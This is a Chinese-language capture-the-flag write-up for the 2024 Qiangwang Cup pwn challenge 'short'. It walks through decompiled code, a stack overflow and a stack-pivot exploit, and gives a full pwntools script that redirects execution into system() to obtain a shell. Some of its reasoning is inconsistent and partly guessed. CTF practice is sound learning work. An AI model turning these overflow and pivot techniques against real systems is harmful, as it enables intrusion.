这时2024强网杯的pwn部分的short的WP
分析以下程序的基本安全措施
*] '/home/ysly/solve/tmp/short'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
除了NX其他都没有
接下来放到ghidra里分析以下漏洞,主要寻找read,gets,之类的输入函数
先看一下主入口逻辑,判断输入点
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined4 main(void)
{
int iVar1;
undefined *puVar2;
puVar2 = &stack0x00000004;
setbuf(_stdout,(char *)0x0);
setbuf(_stderr,(char *)0x0);
iVar1 = login(puVar2);
if (iVar1 == 0) {
puts("Login failed. Incorrect username or password.");
}
else {
vuln();
}
return 0;
}
此处有登陆,只有成功之后才可以继续执行,所以为了有利用可能,去看看登陆逻辑
undefined4 login(void)
{
size_t sVar1;
int iVar2;
char local_8c [64];
char local_4c [68];
printf("Enter your username: ");
fgets(local_4c,0x40,_stdin);
sVar1 = strcspn(local_4c,"\n");
local_4c[sVar1] = '\0';
printf("Enter your password: ");
fgets(local_8c,0x40,_stdin);
sVar1 = strcspn(local_8c,"\n");
local_8c[sVar1] = '\0';
iVar2 = strcmp(local_4c,"admin");
if ((iVar2 == 0) && (iVar2 = strcmp(local_8c,"admin123"), iVar2 == 0)) {
return 1;
}
return 0;
}
很明显输入用户名admin,密码admin123即可登陆成功
在去vuln函数看看
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void vuln(void)
{
undefined buf [76];
puts("You are now in vuln! Please enter extra data:");
printf("You will input this: %p\n",buf);
puts("plz input your msg:\n");
read(0,buf,88);
return;
}
可以读入88个字节,单数buff有76个字节,所以有88-76=12个字节溢出 12 = 4+4+4 分别可以覆盖ebp,ret,extra 4字节
但是这里是静态分析,只可以参考(实际上只可以覆盖到ret地址)
查看其他函数
发现一个gift函数
undefined4 gift(char *param_1)
{
system(param_1);
return 0;
}
如果可以控制参数,便可得到shell
下面动态分析
在vuln函数中
printf("You will input this: %p\n",buf);
泄漏了ebp地址,毕竟函数的变量都是ebp-x 来寻址的,所以buf的地址一定是buf - x , 而x是一个固定的指,于是可以泄漏出ebp的地址
from pwn import *
context.log_level='debug'
context.terminal='foot'
p = process("./short")
# 登陆
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
#不要第一行
p.recvline()
#一些处理,获得buff地址
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
# 静态分析buff地址是有一个0x50偏移,
ebp = raw-0x50
print("leak ebp",hex(ebp))
这里发现可以输入0x58个数据,从ebp-0x50开始输入
0x8048660 <vuln+79> push 0x58
► 0x8048662 <vuln+81> lea eax, [ebp - 0x50] EAX => 0xffffc878 ---▸ 0xf7fc1440 ◂--- 0xf7fc1440
0x8048665 <vuln+84> push eax
0x8048666 <vuln+85> push 0
0x8048668 <vuln+87> call read@plt <read@plt>
于是我们可以控制leven 是ebp地址和ret是的rip地址
这里在想到了用栈迁移
因为前面gift函数,看一下汇编部分
0x80485e6 <gift>: push ebp
0x80485e7 <gift+1>: mov ebp,esp
0x80485e9 <gift+3>: push ebx
0x80485ea <gift+4>: sub esp,0x4
0x80485ed <gift+7>: call 0x80487e1 <__x86.get_pc_thunk.ax>
0x80485f2 <gift+12>: add eax,0x1a0e
0x80485f7 <gift+17>: sub esp,0xc
0x80485fa <gift+20>: push DWORD PTR [ebp+0x8]
0x80485fd <gift+23>: mov ebx,eax
0x80485ff <gift+25>: call 0x80484a0 <system@plt>
0x8048604 <gift+30>: add esp,0x10
0x8048607 <gift+33>: mov eax,0x0
0x804860c <gift+38>: mov ebx,DWORD PTR [ebp-0x4]
0x804860f <gift+41>: leave
0x8048610 <gift+42>: ret
在call system之前是将ebp + 0x8 作为参数的
在执行leven 和ret后,ebp和eip可以被控制
现在我们可以控制eip和ebp
于是我们可以伪造一个ebp使得epb+8指向/bin/sh
并且让eip去执行这个call,就可以得到shell
现在攻击链如下
1.劫持ebp,eip
2.找到/bin/sh
3.执行call system
因为之前通过泄漏知道了buff的地址,我们可以向buff写入/bin/sh,然后就一切顺利
以下是全部的wp
from pwn import *
context.log_level='debug'
context.terminal='foot'
p = process("./short")
p.sendlineafter(b"username: ",str("admin"))
p.sendlineafter(b"password: ",str("admin123"))
# free junk
p.recvline()
raw = p.recvline()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
ebp = raw-0x50
print("leak ebp",hex(ebp))
sh_addr =0x0804a038
fake_ebp = raw -8
payload = p32(sh_addr)+b'A'*(0x50-4)+p32(fake_ebp)+p32(0x080485fa)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
在程序中存在/bin/sh字符,为什么我不用呢
因为我用过,打不通,暂时不清楚为什么